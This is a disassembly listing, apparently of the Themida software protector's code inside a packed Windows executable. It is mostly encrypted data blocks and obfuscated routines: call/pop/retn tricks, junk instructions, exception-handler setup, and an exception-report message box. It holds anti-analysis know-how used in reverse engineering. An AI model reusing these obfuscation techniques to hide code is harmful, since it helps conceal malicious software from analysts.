		dd 69BEF85Ch, 6FF06E70h, 5966E980h, 17C995FFh, 10E907FAh
		dd 0BA000000h, 0E1B68F13h, 5946AA7Fh, 0D62F36C2h, 858FBF3Dh
		dd 850FC0h, 89000000h, 0FD242785h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0B1E2CF70h
		dd 0F006AE5h, 1E84h, 18830F00h,	0E9000000h, 13h, 8D28BA4Eh
		dd 4AD57650h, 0FCA228D9h, 5BFB004Fh, 6ADDBDCAh,	95B52900h
		dd 6A07FA1Eh, 958D8B00h, 6A07FA01h, 6A006A00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 7597C352h, 7EA9AD9Ch, 5858DFCh, 8B07FD26h, 0FA0EA995h
		dd 6A5007h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0ECE0E4C3h, 0B4A8ADB9h, 8B016A52h, 0FA17C1BDh
		dd 5E907h, 67840000h, 6A9AF3EEh, 0B966FC01h, 16A361Bh
		dd 0F01FF68h, 99858900h, 8307FA10h, 0FA1CC5BDh,	840F0007h
		dd 1Dh,	0AB6B6FBAh, 84858D3Ch, 6607FD24h, 0E06ACF81h, 14E9h
		dd 89D78B00h, 0FA23A585h, 5A858D07h, 8907FD24h,	0FA1CE1B5h
		dd 8D8B5007h, 7FA26E9h,	0B5FFF550h, 7FD2427h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 89C35242h, 6D4C84F7h
		dd 59926900h, 0FFC8BF0Fh, 0FD241395h, 6850F07h,	23000000h
		dd 0FA26F9BDh, 0FC08507h, 5385h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FE8604Ch
		dd 54000000h, 0CFE29CF4h, 40177FC4h, 4F748EDBh,	0AE9F2E8h
		dd 0A3000000h, 46A0D618h, 0DF30D117h, 8D0B588Ch, 7FA2C39h
		dd 0B4E961h, 958B0000h,	7FA104Dh, 242B8589h, 952307FDh
		dd 7FA1641h, 242BB5FFh,	6A07FDh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 145DCEC3h, 0A633F7CEh
		dd 7E9BFEBh, 0EF000000h, 0BB55E828h, 880FE0F1h,	2Fh, 11E8h
		dd 0A9488100h, 466CD383h, 3462C8BBh, 0B310A1E8h, 13E9D73Fh
		dd 0AE000000h, 5B13068Dh, 0C7DEFDA2h, 80B36335h, 38DEF44Eh
		dd 0FF5A4317h, 0FA248195h, 4BBF5707h, 5F067ABBh, 850FC085h
		dd 22h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 98C35545h, 7F1BD8Bh,	106A07FAh, 0BD83CF8Ah, 7FA1CC5h
		dd 35840F00h, 0E9000000h, 12h, 0C30A7F81h, 2C4C9543h, 1662E221h
		dd 0FC1C2FDCh, 858D9221h, 7FD2484h, 23D9B589h, 30E907FAh
		dd 0E8000000h, 7, 0DD1535A9h, 5A8DBDFAh, 245A858Dh, 6A07FDh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 50D6F1C3h, 0C9BD8960h, 0F07FA14h, 583h, 0D0816600h
		dd 0FF610ECFh, 0FD2427B5h, 418D8907h, 0FF07FA2Fh, 0FD241F95h
		dd 13E807h, 77BE0000h, 664AE052h, 6325A575h, 0D3F837E3h
		dd 52FAF0B3h, 2840FA5h,	56000000h, 0C0855A5Fh, 6850Fh
		dd 0BD8B0000h, 7FA00A1h, 242B8589h, 6A07FDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 71C35141h, 6A69DBh
		dd 0F9B70F60h, 2BB5FF61h, 0F07FD24h, 683h, 41953100h, 0FF07FA08h
		dd 0FD241795h, 3757BF07h, 0C08536FBh, 5850Fh, 81660000h
		dd 0FFBC98CAh, 0FD242BB5h, 0D9D8907h, 8907FA1Dh, 0FA25759Dh
		dd 8195FF07h, 8B07FA24h, 0FA17E1BDh, 0FC08507h,	685h, 0B98D8B00h
		dd 6A07FA17h, 0E98D8B00h, 6807FA0Dh, 80h, 10C1958Bh, 36A07FAh
		dd 2349BD89h, 6A07FAh, 5800Fh, 81660000h, 6AB97EF7h, 51C18100h
		dd 685F7D3Bh, 0C0000000h, 68A0Fh, 0C1810000h, 3760B10Fh
		dd 24A3B5FFh, 816607FDh, 0FFA7E9E9h, 0FA311D95h, 0D18B6607h
		dd 2709BD29h, 0F88307FAh, 9C850FFFh, 0F000005h,	583h, 0C2816600h
		dd 85FF8ADAh, 7FD2F11h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 1FC35242h, 0AC008A85h, 11BD83C4h, 207FD2Fh
		dd 430840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0C49262C3h, 16718D31h, 858D07FAh, 5B243Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 89C35646h, 8BD8590Ch
		dd 0FA27598Dh, 89D0FF07h, 0FA0E198Dh, 8E858D07h, 81005B1Eh
		dd 219541D7h, 0BFD0FF64h, 3045734Bh, 0CE8h, 620BE400h
		dd 6B7E0365h, 0DFA56721h, 0F99529EBh, 5907FA16h, 3360C08Bh
		dd 0FA064DB5h, 6E807h, 0B6370000h, 0AB890CD9h, 8A0Fh, 615E0000h
		dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h
		dd 0D8B8C08Bh, 89000007h, 0FA20C985h, 249D8D07h, 0FF07FCE2h
		dd 83585BD3h, 0FA1899BDh, 17740007h, 0D8B85350h, 89000007h
		dd 0FA20C985h, 139D8D07h, 0FF07FCDFh, 6A585BD3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 5C97C350h, 258D8BACh, 0F07FA0Fh, 158Ah, 10E900h, 54FB0000h
		dd 0C663337h, 0D0A030ACh, 1E42FF32h, 0E8F58371h, 0Ch, 8F5F47A6h
		dd 79BD8E42h, 1CC061Ch,	18D5B529h, 8B5F07FAh, 0B58956C0h
		dd 7FA10C1h, 3F6859h, 0CE8B000Fh, 6AF9006Ah, 0E9816600h
		dd 95FF0AF0h, 7FA17C9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 65C35343h, 8BF06836h,	0FA0CE98Dh, 0FC08507h
		dd 8589D2B7h, 7FD2427h,	5870Fh,	0EEB90000h, 68562807h
		dd 0F01FFh, 0EA5958Bh, 0BD8307FAh, 7FA1CC5h, 1E840F00h
		dd 89000000h, 0FA01199Dh, 0C087B907h, 858D7403h, 7FD2484h
		dd 8518D8Bh, 8E907FAh, 8B000000h, 5A858DFAh, 5007FD24h
		dd 0FF5BD03h, 0B5FF07FAh, 7FD2427h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0AC35646h, 95F9B503h, 29958BBAh
		dd 0FF07FA18h, 0FD241F95h, 69BD8907h, 8907FA1Eh, 0FD242B85h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F3E2585Eh, 0E9D4B16Eh, 5, 6A591EDAh, 0CE8B6678h
		dd 229585C7h, 7FAh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0A5ABEBC3h, 8E0FCF8Bh
		dd 2, 0BD83F88Bh, 7FD242Bh, 9A840F00h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 9E37C350h, 0EBE63A62h, 9509AEB1h, 7FA2D61h, 2709858Dh
		dd 0BD8B07FDh, 7FA0BD9h, 0FDBD3350h, 8907FA21h,	0FA1DDDBDh
		dd 0BA016A07h, 442280F4h, 242BB5FFh, 12E907FDh,	0FD000000h
		dd 89226C6Fh, 0F224B2D1h, 0BCBA7AA1h, 4FA7035Ch, 2395FF85h
		dd 6607FD24h, 0B5FFCE8Bh, 7FD242Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 9C35747h, 6C6D0051h, 0F21BD01h
		dd 9CB507FAh, 248195FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0BD71D0C3h, 3552EA32h
		dd 0AE95300h, 25000000h, 75C2BE03h, 0C90BC1D9h,	0FF685A00h
		dd 51000F01h, 0E3D8D8Bh, 15A07FAh, 0FA0FF59Dh, 0C5BD8307h
		dd 7FA1Ch, 29840Fh, 8C0F0000h, 6, 35099589h, 9D8907FAh
		dd 7FA181Dh, 2484858Dh,	8D8B07FDh, 7FA100Dh, 20E9h, 52526000h
		dd 8D615858h, 0FD245A85h, 0FE907h, 8BE60000h, 0EA64D265h
		dd 9B11AD14h, 0F40F5861h, 952350E9h, 7FA2D31h, 2427B5FFh
		dd 816607FDh, 0FF5E43D7h, 0FD241F95h, 14E907h, 0D28F0000h
		dd 57095296h, 7E1A0642h, 0B623F13Ch, 0A5CD0C5Dh, 85895A0Dh
		dd 7FD242Bh, 3455BD0Bh,	0B5FF07FAh, 7FD242Bh, 95FFD68Bh
		dd 7FD241Bh, 0FFFB8B66h, 0FD242BB5h, 8195FF07h,	8107FA24h
		dd 7558C6D1h, 0F66AE915h, 0B966FFFFh, 0B5FFF9FAh, 7FD2F74h
		dd 2E759533h, 95FF07FAh, 7FA1799h, 4EDAEF81h, 858B706Dh
		dd 7FA29D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0ABC35141h, 0F95EB5B6h,	9840Fh,	8F0F0000h, 3, 0E9FEBF0Fh
		dd 6D2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0E9C35545h, 0A19D2977h,	8D07FA0Dh, 0FD2729B5h
		dd 0E890F07h, 60000000h, 18D5B589h, 850907FAh, 7FA0851h
		dd 8A858D61h, 0F07FCD3h, 680h, 0E9B58900h, 0FF07FA02h
		dd 0C98D09D0h, 8907FA1Ch, 0FA218595h, 6A006A07h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 3D86C356h, 7EBA2C6Fh, 14E5B529h, 95FF07FAh, 7FA0EBDh
		dd 253D8589h, 0F38B07FAh, 56DD21BFh, 0B18D296Ah, 8D07FA21h
		dd 0FCD38A85h, 89D0FF07h, 0FA158D95h, 81006A07h, 4F54FFE1h
		dd 0BD95FF52h, 6A07FA0Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 69C3C353h, 8B062203h
		dd 2DB589C0h, 8307FA2Fh, 0FA2ACDBDh, 9750007h, 1899BD83h
		dd 740007FAh, 8B535019h, 7D9B8C0h, 85890000h, 7FA20C9h
		dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h
		dd 7D9B853h, 85890000h,	7FA20C9h, 0DF139D8Dh, 0D3FF07FCh
		dd 0E680585Bh, 5E97Ch, 9F370000h, 8B7FFB54h, 59958BC0h
		dd 5007FA0Bh, 0DF1BD33h, 0D88B07FAh, 89D98A60h,	0FA1F9585h
		dd 8D536107h, 0FA28899Dh, 89038B07h, 50438B03h,	8D504389h
		dd 0FD2F0D9Dh, 89038B07h, 0C7815B03h, 28655333h, 1701B501h
		dd 950107FAh, 7FA2145h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 6B5D8FC3h, 0F210FABEh
		dd 0EE85AF5h, 87000000h, 59310C61h, 0D0B4410Bh,	0F2E1D366h
		dd 0B18D893Ch, 5A07FA0Fh, 6850Fh, 8D8B0000h, 7FA0CF9h
		dd 2F0D858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 8F561EC3h, 0EF0D78D3h, 43B966ADh
		dd 81665078h, 6A5617C9h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 858D2E17h, 7FA2889h, 665150F9h
		dd 7935EF81h, 53006A59h, 14E857h, 6B2B0000h, 9F4766FCh
		dd 759DE164h, 0B05410Ah, 0C885156Dh, 5F5A471Ch,	6AF18A5Ah
		dd 998D0100h, 6807FA10h, 1800h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 70C35646h, 53EC24D4h, 0B2207E36h
		dd 0FA8B5357h, 2E6195FFh, 858907FAh, 7FA1105h, 15DD8D01h
		dd 95FF07FAh, 7FA21ADh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0CAC35545h, 0F6020B0h, 580h, 0DE816600h
		dd 9E8BC12h, 0E9000000h, 0E156C18h, 4E315B18h, 58CA8B66h
		dd 12E861h, 0BA9F0000h,	1110EFh, 3EA8132Dh, 0BC5402CAh
		dd 0FB707CD6h, 5AC88B66h, 2F74B5FFh, 0FB8B07FDh, 179995FFh
		dd 9D8907FAh, 7FA0B15h,	0EE816660h, 8D61FFB6h, 0FA288985h
		dd 25BD8B07h, 8B07FA01h, 6A1840h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0ABE3F7C3h, 6A9D34BDh
		dd 250D85C7h, 7FAh, 6A0000h, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 170424h, 50400000h, 0E8A716C3h, 0EA81661Ah
		dd 10E95482h, 3000000h,	0ED0A49D4h, 4CDE608Fh, 2809FDAFh
		dd 83C5CE72h, 0FA1CC5BDh, 840F0007h, 4Fh, 6840Fh, 958B0000h
		dd 7FA2C25h, 8C3Dh, 3A830F00h, 6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DD2CC355h
		dd 64E753CBh, 69958BA9h, 6607FA21h, 0BD29F88Bh,	7FA1015h
		dd 13E9h, 3D38B500h, 98h, 1F7830Fh, 85890000h, 7FA0AE5h
		dd 243B858Dh, 958B005Bh, 7FA07B5h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A87431C3h
		dd 0F5958B89h, 8D07FA02h, 5B1E8E85h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 14E94Fh, 0B3670000h
		dd 0A4B4B564h, 2375ACBFh, 5E42BFDAh, 0EFC26868h, 6660C368h
		dd 662CD5B9h, 61E5E3BFh, 8B0FD0FFh, 9, 3850Fh, 0B70F0000h
		dd 6AC08BCBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0CB44C356h, 0C21B7A38h, 309FB3F0h
		dd 1FFB70Fh, 0FA291195h, 0CDBD8307h, 7FA2Ah, 0BD830975h
		dd 7FA1899h, 50197400h,	0B8C08B53h, 0BC6h, 20C98589h, 9D8D07FAh
		dd 7FCE224h, 585BD3FFh,	1899BD83h, 740007FAh, 0B8535017h
		dd 0BC6h, 20C98589h, 9D8D07FAh,	7FCDF13h, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 40C35646h, 353EED13h
		dd 0BF4BD804h, 4880F0Dh, 66000000h, 8980D0BFh, 0FA1509BDh
		dd 9E907h, 3BC90000h, 0BD67A944h, 8B90E018h, 0CF8B66C0h
		dd 0FFFF883h, 5785h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0FAA03ACCh, 7313BE62h
		dd 1E4D85C7h, 7FAh, 85890000h, 7FA1D3Dh, 11AE9h, 5E900h
		dd 0F02F0000h, 60E4DAA6h, 0E961D98Bh, 46h, 2D69958Bh, 8D3307FAh
		dd 7FA0885h, 0F01F883h,	3185h, 4BF1BF00h, 1FE93F28h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0CA38C352h, 0B2B6D7FCh, 25B5BD8Bh, 35E907FAh
		dd 0B9FFFFF0h, 7F58DE41h, 56C08BF8h, 8359CE8Bh,	0FA2ACDBDh
		dd 9750007h, 1899BD83h,	740007FAh, 8B535019h, 7DDB8C0h
		dd 85890000h, 7FA20C9h,	0E2249D8Dh, 0D3FF07FCh,	0BD83585Bh
		dd 7FA1899h, 50177400h,	7DDB853h, 85890000h, 7FA20C9h
		dd 0DF139D8Dh, 0D3FF07FCh, 6A585Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 6DA10FC3h
		dd 0A7731F43h, 663349BFh, 0D20CEF81h, 7098D23h,	958907FAh
		dd 7FA10B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 2A7F61C3h, 13229E77h, 0F3E991B5h
		dd 66000001h, 8DA24CBFh, 0FD2D1185h, 0FE8B6607h, 2F098589h
		dd 3FE907FDh, 0E8000000h, 14h, 2595528Ah, 7B92ED3h, 3E27E353h
		dd 0F4CF924Fh, 982A6629h, 71D2DA81h, 665A3F05h,	858DCA8Bh
		dd 7FD2B19h, 29EA23B9h,	14B54037h, 2F098589h, 8B5307FDh
		dd 0FA31A595h, 346A5907h, 1FA1858Dh, 0FF5007FAh, 0FD2F09B5h
		dd 0FF006A07h, 0FA2AE595h, 7F88307h, 168840Fh, 8C660000h
		dd 4C3F6DBh, 102850Fh, 85C60000h, 7FA0665h, 0B8526856h
		dd 0B5FF9CA8h, 7FA08A5h, 3AE2858Dh, 0D0FF07FAh,	68046Ah
		dd 6A000010h, 0FF006A64h, 7C8589D0h, 0C607FD2Fh, 0FA066585h
		dd 9B684707h, 0FFEC18ACh, 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah
		dd 8BD0FFD0h, 6585C6F0h, 4F07FA06h, 2F266168h, 0F5B5FFC6h
		dd 8D07FA0Ah, 0FA3AE285h, 8DD0FF07h, 0FD2F789Dh, 286A5307h
		dd 85D0FF56h, 0C60075C0h, 0FA066585h, 98684107h, 0FFDB8764h
		dd 0FA0AF5B5h, 0E2858D07h, 0FF07FA3Ah, 958589D0h, 0C607FD2Fh
		dd 0FA066585h, 0A4684C07h, 0FF80A4E7h, 0FA0AF5B5h, 0E2858D07h
		dd 0FF07FA3Ah, 7C9D8BD0h, 8D07FD2Fh, 8D53045Bh,	0FD2F819Dh
		dd 6A5307h, 9D8BD0FFh, 7FD2F7Ch, 103C7h, 43C70000h, 20Ch
		dd 0A99D8B00h, 0C707FA1Ch, 0FA23A185h, 7, 6A006A00h, 8B006A00h
		dd 0FD2F7C9Dh, 6A5307h,	2F78B5FFh, 95FF07FDh, 7FD2F95h
		dd 66585C6h, 684507FAh,	92A5F797h, 515B5FFh, 858D07FAh
		dd 7FA3AE2h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
		dd 2F7C9D8Bh, 43C707FDh, 0Ch, 6A006A00h, 7C9D8B00h, 5307FD2Fh
		dd 0B5FF006Ah, 7FD2F78h, 2F9595FFh, 0B5FF07FDh,	7FD2F78h
		dd 21AD95FFh, 6A07FAh, 0EBD95FFh, 958B07FAh, 7FA0AB9h
		dd 2D65BD8Bh
; ---------------------------------------------------------------------------
		cli
		pop	es


loc_5B97FE:				; CODE XREF: Themida_:005B81B9j
					; Themida_:005B81F6j
		lea	eax, [ebp+7FD64CBh]
		push	eax
		mov	edx, [ebp+7FA1131h]
		push	large dword ptr	fs:0
		jg	loc_5B981A
		mov	cl, 49h


loc_5B981A:				; CODE XREF: Themida_:005B9812j
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5B982C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B982C	proc near		; CODE XREF: Themida_:005B9824p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B982C	endp

; ---------------------------------------------------------------------------
		dd 0EFAAAE25h, 66995B00h, 0D08B669Ah, 0CE9h, 2D89B600h
		dd 0C8B28D02h, 0D1B24CF3h, 35BD8305h, 7FA31h, 5D840Fh
		dd 0F5800000h, 0EDBD8366h, 107FA33h, 4D850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD80E7C3h, 7FD3395h, 24850F00h, 89000000h, 0FA2C219Dh
		dd 163E907h, 9E80000h, 55000000h, 0A7ACF1CFh, 0EF4114AEh
		dd 0F616060h, 82h, 335A6100h, 0CA8166DBh, 0C0330921h, 21C19D89h
		dd 0F4007FAh, 640B073Fh, 58Fh, 0C4830000h, 66F98B04h, 808E25B9h
		dd 0FB83C6C5h, 0E840FFFh, 52000000h, 5FD1BF0Fh,	106E9h
		dd 81BA6600h, 87E94Dh, 85290000h, 7FA1745h, 0C244C8Bh
		dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0FD64EDEDh, 0B8838B07h, 8D000000h
		dd 0FD65CC85h, 0B8838907h, 5D000000h, 66C3C033h, 1DEDF781h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 19C35141h
		dd 897D8BDEh, 0FA2A699Dh, 13E907h, 9BB20000h, 0D4142C8h
		dd 5AC2D53Eh, 3E991C9h,	2FDED5A2h, 0E3858DAEh, 6007FD64h
		dd 8CDA8166h, 5061F543h, 829EEF81h, 0FF6400F4h,	35h, 458D8900h
		dd 6407FA2Ch, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 5526E3C3h, 9532F6A9h
		dd 0B9D7B70Fh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h
		dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h
		dd 0FA18F985h, 107h, 58F6400h, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		push	0
		push	edi
		call	sub_5B9A22
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A22	proc near		; CODE XREF: Themida_:005B9A1Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5B9A22	endp

; ---------------------------------------------------------------------------
		mov	ds:0E3D958Bh, al
		cli
		pop	es
		xor	[ebp+7FA0BD5h],	edi
		mov	eax, eax
		pusha
		or	dl, 91h
		jns	loc_5B9A51
		mov	edx, [ebp+7FA34A5h]


loc_5B9A51:				; CODE XREF: Themida_:005B9A45j
		popa
		cmp	dword ptr [ebp+7FA2ACDh], 0
		jnz	short loc_5B9A64
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B9A7D


loc_5B9A64:				; CODE XREF: Themida_:005B9A59j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7FA1581h],	eax
		lea	ebx, [ebp+7FCE28Bh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9A7D:				; CODE XREF: Themida_:005B9A62j
		cmp	dword ptr [ebp+7FA1899h], 0
		jz	short loc_5B9A9D
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7FA1581h],	eax
		lea	ebx, [ebp+7FCDF2Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9A9D:				; CODE XREF: Themida_:005B9A84j
		jmp	loc_5B9AB4
; ---------------------------------------------------------------------------
		dw 0FB96h
		dd 82CDE301h, 0F692B4BBh, 59909EB5h, 4B879324h
; ---------------------------------------------------------------------------


loc_5B9AB4:				; CODE XREF: Themida_:loc_5B9A9Dj
		mov	cx, 74ABh
		sub	edx, 4D0784A1h
		mov	eax, eax
		jmp	loc_5B9C0C
; ---------------------------------------------------------------------------
		db 4, 2	dup(0)
		dd 392E3100h, 3031h, 6 dup(0)
		db    0
		db 2 dup(0), 45h
aXceptionInform	db 'xception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_5B9C0C:				; CODE XREF: Themida_:005B9AC0j
		cmp	dword ptr [ebp+7FA1139h], 0
		jz	loc_5B9D46
		lea	eax, [ebp+7FCDD43h]
		push	eax
		lea	eax, [ebp+7FCDCADh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7FCDD53h]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD668Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDCC1h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD6692h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDCD3h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD669Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDD20h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD66A6h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDD3Eh]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD66A2h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDD27h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD6696h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDD2Fh]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		lea	eax, [ebp+7FD6684h]
		push	eax
		lea	eax, [ebp+7FD669Ah]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+7FCDD36h]
		push	eax
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA1F0Dh]
		push	dword ptr [ebp+7FCDD43h]
		call	dword ptr [ebp+7FA2341h]
		jmp	loc_5B9DE8
; ---------------------------------------------------------------------------


loc_5B9D46:				; CODE XREF: Themida_:005B9C13j
		cmp	dword ptr [ebp+7FA2E1Dh], 0
		jz	loc_5B9DE8
		cmp	dword ptr [ebp+7FA33EDh], 0
		jnz	loc_5B9D71
		mov	edx, [ebp+7FA1505h]
		add	edx, 1CF8h
		jmp	loc_5B9D80
; ---------------------------------------------------------------------------


loc_5B9D71:				; CODE XREF: Themida_:005B9D5Aj
		lea	edx, [ebp+7FA2889h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_5B9D80:				; CODE XREF: Themida_:005B9D6Cj
		mov	[ebp+7FA17D1h],	edx
		cmp	dword ptr [ebp+7FA17D1h], 0
		jz	loc_5B9DE8
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+7FD668Eh],	eax
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+7FD6692h],	eax
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+7FD669Eh],	eax
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+7FD66A2h],	eax
		mov	ebx, [ebp+7FA17D1h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+7FD6696h],	eax


loc_5B9DE8:				; CODE XREF: Themida_:005B9D41j
					; Themida_:005B9D4Dj ...
		cmp	dword ptr [ebp+7FA1139h], 0
		jnz	loc_5B9E02
		cmp	dword ptr [ebp+7FA2E1Dh], 0
		jz	loc_5B9E6A


loc_5B9E02:				; CODE XREF: Themida_:005B9DEFj
		push	dword ptr [ebp+7FD66A6h]
		push	dword ptr [ebp+7FD669Ah]
		push	dword ptr [ebp+7FD6696h]
		push	dword ptr [ebp+7FD66A2h]
		push	dword ptr [ebp+7FD669Eh]
		push	dword ptr [ebp+7FD6692h]
		push	dword ptr [ebp+7FD668Eh]
		lea	eax, [ebp+7FD6688h]
		push	eax
		lea	eax, [ebp+7FD66C0h]
		push	eax
		lea	eax, [ebp+7FA0311h]
		push	eax
		call	dword ptr [ebp+7FA0DC5h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+7FD66AAh]
		push	eax
		lea	eax, [ebp+7FA0311h]
		push	eax
		push	0
		call	dword ptr [ebp+7FA2AE5h]
		push	1
		call	dword ptr [ebp+7FA0EBDh]


loc_5B9E6A:				; CODE XREF: Themida_:005B9DFCj
